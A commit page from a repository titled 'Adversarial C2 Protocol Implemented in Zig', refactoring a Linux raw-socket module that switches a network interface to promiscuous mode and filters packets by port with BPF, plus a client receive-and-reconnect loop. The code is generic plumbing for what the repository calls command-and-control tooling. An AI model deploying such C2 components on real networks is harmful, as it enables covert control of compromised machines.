Adversarial C2 Protocol Implemented in Zig
0
fork

Configure Feed

Select the types of activity you want to include in your feed.

Move RawSocket and clean it up

+164 -182
+161
src/RawSocket.zig
··· 1 + const RawSocket = @This(); 2 + 3 + fd: i32, 4 + sockaddr_ll: std.posix.sockaddr.ll, 5 + mac: [6]u8, 6 + 7 + const Ifconf = extern struct { 8 + ifc_len: i32, 9 + ifc_ifcu: extern union { 10 + ifcu_buf: ?[*]u8, 11 + ifcu_req: ?[*]std.os.linux.ifreq, 12 + }, 13 + }; 14 + 15 + pub fn init() !RawSocket { 16 + const socket: i32 = @intCast(std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0)); 17 + if (socket < 0) return error.SocketError; 18 + 19 + var ifreq_storage: [16]std.os.linux.ifreq = undefined; 20 + var ifc = Ifconf{ 21 + .ifc_len = @sizeOf(@TypeOf(ifreq_storage)), 22 + .ifc_ifcu = .{ .ifcu_req = &ifreq_storage }, 23 + }; 24 + 25 + if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFCONF, @intFromPtr(&ifc)) != 0) { 26 + return error.NicError; 27 + } 28 + 29 + const count = @divExact(ifc.ifc_len, @sizeOf(std.os.linux.ifreq)); 30 + 31 + // Get the first non loopback interface 32 + var ifr = for (ifreq_storage[0..@intCast(count)]) |*ifr| { 33 + if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) == 0) { 34 + if (ifr.ifru.flags.LOOPBACK) continue; 35 + break ifr; 36 + } 37 + } else return error.NoInterfaceFound; 38 + 39 + // 2. Get Interface Index 40 + if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFINDEX, @intFromPtr(ifr)) != 0) { 41 + return error.NicError; 42 + } 43 + const ifindex: i32 = ifr.ifru.ivalue; 44 + 45 + // 3. Get Real MAC Address 46 + if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFHWADDR, @intFromPtr(ifr)) != 0) { 47 + return error.NicError; 48 + } 49 + var mac: [6]u8 = ifr.ifru.hwaddr.data[0..6].*; 50 + if (builtin.cpu.arch.endian() == .little) std.mem.reverse(u8, &mac); 51 + 52 + // 4. Set Flags (Promiscuous/Broadcast) 53 + if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) != 0) { 54 + return error.NicError; 55 + } 56 + ifr.ifru.flags.BROADCAST = true; 57 + ifr.ifru.flags.PROMISC = true; 58 + if (std.os.linux.ioctl(socket, std.os.linux.SIOCSIFFLAGS, @intFromPtr(ifr)) != 0) { 59 + return error.NicError; 60 + } 61 + 62 + const sockaddr_ll = std.mem.zeroInit(std.posix.sockaddr.ll, .{ 63 + .family = std.posix.AF.PACKET, 64 + .ifindex = ifindex, 65 + .protocol = std.mem.nativeToBig(u16, @as(u16, std.os.linux.ETH.P.IP)), 66 + }); 67 + 68 + const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll))); 69 + if (bind_ret != 0) return error.BindError; 70 + 71 + const timeout: std.os.linux.timeval = .{ .sec = 600, .usec = 0 }; 72 + const timeout_ret = std.os.linux.setsockopt(socket, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout))); 73 + if (timeout_ret != 0) return error.SetTimeoutError; 74 + 75 + return .{ 76 + .fd = socket, 77 + .sockaddr_ll = sockaddr_ll, 78 + .mac = mac, 79 + }; 80 + } 81 + 82 + pub fn deinit(self: *RawSocket) void { 83 + _ = std.os.linux.close(self.fd); 84 + self.* = undefined; 85 + } 86 + 87 + pub fn send(self: RawSocket, payload: []const u8) !void { 88 + const sent_bytes = std.os.linux.sendto( 89 + self.fd, 90 + payload.ptr, 91 + payload.len, 92 + 0, 93 + @ptrCast(&self.sockaddr_ll), 94 + @sizeOf(@TypeOf(self.sockaddr_ll)), 95 + ); 96 + _ = sent_bytes; 97 + } 98 + 99 + pub fn receive(self: RawSocket, buf: []u8) ![]u8 { 100 + const len = std.os.linux.recvfrom( 101 + self.fd, 102 + buf.ptr, 103 + buf.len, 104 + 0, 105 + null, 106 + null, 107 + ); 108 + if (std.os.linux.errno(len) != .SUCCESS) { 109 + return error.Timeout; // TODO: get the real error, assume timeout for now. 110 + } 111 + return buf[0..len]; 112 + } 113 + 114 + pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void { 115 + const BPF = std.os.linux.BPF; 116 + // BPF instruction structure for classic BPF 117 + const SockFilter = extern struct { 118 + code: u16, 119 + jt: u8, 120 + jf: u8, 121 + k: u32, 122 + }; 123 + 124 + const SockFprog = extern struct { 125 + len: u16, 126 + filter: [*]const SockFilter, 127 + }; 128 + 129 + // Build the filter program 130 + const filter = [_]SockFilter{ 131 + // Load 2 bytes at offset 46 (absolute) 132 + .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 46 }, 133 + // Jump if equal to port (skip 0 if true, skip 1 if false) 134 + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, port) }, 135 + // Return 0xffff (pass) 136 + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff }, 137 + // Return 0x0 (fail) 138 + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 }, 139 + }; 140 + 141 + const fprog = SockFprog{ 142 + .len = filter.len, 143 + .filter = &filter, 144 + }; 145 + 146 + // Attach filter to socket using setsockopt 147 + const rc = std.os.linux.setsockopt( 148 + self.fd, 149 + std.os.linux.SOL.SOCKET, 150 + std.os.linux.SO.ATTACH_FILTER, 151 + @ptrCast(&fprog), 152 + @sizeOf(SockFprog), 153 + ); 154 + 155 + if (rc != 0) { 156 + return error.BpfAttachFailed; 157 + } 158 + } 159 + 160 + const std = @import("std"); 161 + const builtin = @import("builtin");
+3 -182
src/main.zig
··· 229 229 var res_buf: [4096]u8 = undefined; 230 230 231 231 var res = socket.receive(&res_buf) catch continue; 232 + try init.io.sleep(.fromMilliseconds(40), .real); 232 233 233 234 headers.udp.dst_port = udp_dest_port; 234 235 headers.ip.id = rand.int(u16); ··· 244 245 245 246 while (true) { 246 247 res = socket.receive(&res_buf) catch continue :reconnect; 248 + try init.io.sleep(.fromMilliseconds(40), .real); 247 249 const connection_res = blk: { 248 250 const msg: SaprusMessage = try .parse(res[42..]); 249 251 break :blk msg.connection; ··· 320 322 const AF = std.os.linux.AF; 321 323 const SOCK = std.os.linux.SOCK; 322 324 323 - const RawSocket = struct { 324 - fd: i32, 325 - sockaddr_ll: std.posix.sockaddr.ll, 326 - mac: [6]u8, 327 - 328 - const IFF_LOOPBACK = 0x8; 329 - 330 - const ifconf = extern struct { 331 - ifc_len: i32, 332 - ifc_ifcu: extern union { 333 - ifcu_buf: ?[*]u8, 334 - ifcu_req: ?[*]std.os.linux.ifreq, 335 - }, 336 - }; 337 - 338 - fn init() !RawSocket { 339 - const socket: i32 = @intCast(std.os.linux.socket(std.posix.AF.PACKET, std.posix.SOCK.RAW, 0)); 340 - if (socket < 0) return error.SocketError; 341 - 342 - // 1. Enumerate interfaces 343 - var ifreq_storage: [16]std.os.linux.ifreq = undefined; 344 - var ifc = ifconf{ 345 - .ifc_len = @sizeOf(@TypeOf(ifreq_storage)), 346 - .ifc_ifcu = .{ .ifcu_req = &ifreq_storage }, 347 - }; 348 - 349 - if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFCONF, @intFromPtr(&ifc)) != 0) { 350 - return error.NicError; 351 - } 352 - 353 - const count = @divExact(ifc.ifc_len, @sizeOf(std.os.linux.ifreq)); 354 - var target_ifr: ?std.os.linux.ifreq = null; 355 - 356 - for (ifreq_storage[0..@intCast(count)]) |ifr| { 357 - var temp_ifr = ifr; 358 - if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(&temp_ifr)) == 0) { 359 - // Cast the packed flags to u16 to match the kernel's ifr_flags size 360 - const flags: u16 = @bitCast(temp_ifr.ifru.flags); 361 - if (flags & IFF_LOOPBACK != 0) continue; 362 - 363 - target_ifr = ifr; 364 - break; 365 - } 366 - } 367 - 368 - var ifr = target_ifr orelse return error.NoInterfaceFound; 369 - 370 - // 2. Get Interface Index 371 - if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFINDEX, @intFromPtr(&ifr)) != 0) { 372 - return error.NicError; 373 - } 374 - const ifindex: i32 = ifr.ifru.ivalue; 375 - 376 - // 3. Get Real MAC Address 377 - if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFHWADDR, @intFromPtr(&ifr)) != 0) { 378 - return error.NicError; 379 - } 380 - var mac: [6]u8 = ifr.ifru.hwaddr.data[0..6].*; 381 - std.mem.reverse(u8, &mac); 382 - 383 - // 4. Set Flags (Promiscuous/Broadcast) 384 - if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(&ifr)) != 0) { 385 - return error.NicError; 386 - } 387 - ifr.ifru.flags.BROADCAST = true; 388 - ifr.ifru.flags.PROMISC = true; 389 - if (std.os.linux.ioctl(socket, std.os.linux.SIOCSIFFLAGS, @intFromPtr(&ifr)) != 0) { 390 - return error.NicError; 391 - } 392 - 393 - const sockaddr_ll = std.posix.sockaddr.ll{ 394 - .family = std.posix.AF.PACKET, 395 - .ifindex = ifindex, 396 - .protocol = std.mem.nativeToBig(u16, @as(u16, std.os.linux.ETH.P.IP)), 397 - .halen = 0, 398 - .addr = .{ 0, 0, 0, 0, 0, 0, 0, 0 }, 399 - .pkttype = 0, 400 - .hatype = 0, 401 - }; 402 - 403 - const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll))); 404 - if (bind_ret != 0) return error.BindError; 405 - 406 - const timeout: std.os.linux.timeval = .{ .sec = 600, .usec = 0 }; 407 - const timeout_ret = std.os.linux.setsockopt(socket, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout))); 408 - if (timeout_ret != 0) return error.SetTimeoutError; 409 - 410 - return .{ 411 - .fd = socket, 412 - .sockaddr_ll = sockaddr_ll, 413 - .mac = mac, 414 - }; 415 - } 416 - 417 - fn deinit(self: *RawSocket) void { 418 - _ = std.os.linux.close(self.fd); 419 - self.* = undefined; 420 - } 421 - 422 - fn send(self: RawSocket, payload: []const u8) !void { 423 - const sent_bytes = std.os.linux.sendto( 424 - self.fd, 425 - payload.ptr, 426 - payload.len, 427 - 0, 428 - @ptrCast(&self.sockaddr_ll), 429 - @sizeOf(@TypeOf(self.sockaddr_ll)), 430 - ); 431 - _ = sent_bytes; 432 - } 433 - 434 - fn receive(self: RawSocket, buf: []u8) ![]u8 { 435 - const len = std.os.linux.recvfrom( 436 - self.fd, 437 - buf.ptr, 438 - buf.len, 439 - 0, 440 - null, 441 - null, 442 - ); 443 - if (std.os.linux.errno(len) != .SUCCESS) { 444 - return error.Timeout; // TODO: get the real error, assume timeout for now. 445 - } 446 - return buf[0..len]; 447 - } 448 - 449 - fn attachSaprusPortFilter(self: RawSocket, port: u16) !void { 450 - const linux = std.os.linux; 451 - // BPF instruction structure for classic BPF 452 - const sock_filter = extern struct { 453 - code: u16, 454 - jt: u8, 455 - jf: u8, 456 - k: u32, 457 - }; 458 - 459 - const sock_fprog = extern struct { 460 - len: u16, 461 - filter: [*]const sock_filter, 462 - }; 463 - 464 - // BPF instruction opcodes 465 - const BPF_LD = 0x00; 466 - const BPF_H = 0x08; // Half-word (2 bytes) 467 - const BPF_ABS = 0x20; 468 - const BPF_JMP = 0x05; 469 - const BPF_JEQ = 0x10; 470 - const BPF_K = 0x00; 471 - const BPF_RET = 0x06; 472 - 473 - // Build the filter program 474 - const filter = [_]sock_filter{ 475 - // Load 2 bytes at offset 46 (absolute) 476 - .{ .code = BPF_LD | BPF_H | BPF_ABS, .jt = 0, .jf = 0, .k = 46 }, 477 - // Jump if equal to port (skip 0 if true, skip 1 if false) 478 - .{ .code = BPF_JMP | BPF_JEQ | BPF_K, .jt = 0, .jf = 1, .k = @as(u32, port) }, 479 - // Return 0xffff (pass) 480 - .{ .code = BPF_RET | BPF_K, .jt = 0, .jf = 0, .k = 0xffff }, 481 - // Return 0x0 (fail) 482 - .{ .code = BPF_RET | BPF_K, .jt = 0, .jf = 0, .k = 0x0 }, 483 - }; 484 - 485 - const fprog = sock_fprog{ 486 - .len = filter.len, 487 - .filter = &filter, 488 - }; 489 - 490 - // Attach filter to socket using setsockopt 491 - const SO_ATTACH_FILTER = 26; 492 - const rc = linux.setsockopt( 493 - self.fd, 494 - linux.SOL.SOCKET, 495 - SO_ATTACH_FILTER, 496 - @ptrCast(&fprog), 497 - @sizeOf(sock_fprog), 498 - ); 499 - 500 - if (rc != 0) { 501 - return error.BpfAttachFailed; 502 - } 503 - } 504 - }; 325 + const RawSocket = @import("./RawSocket.zig"); 505 326 506 327 const Writer = std.Io.Writer;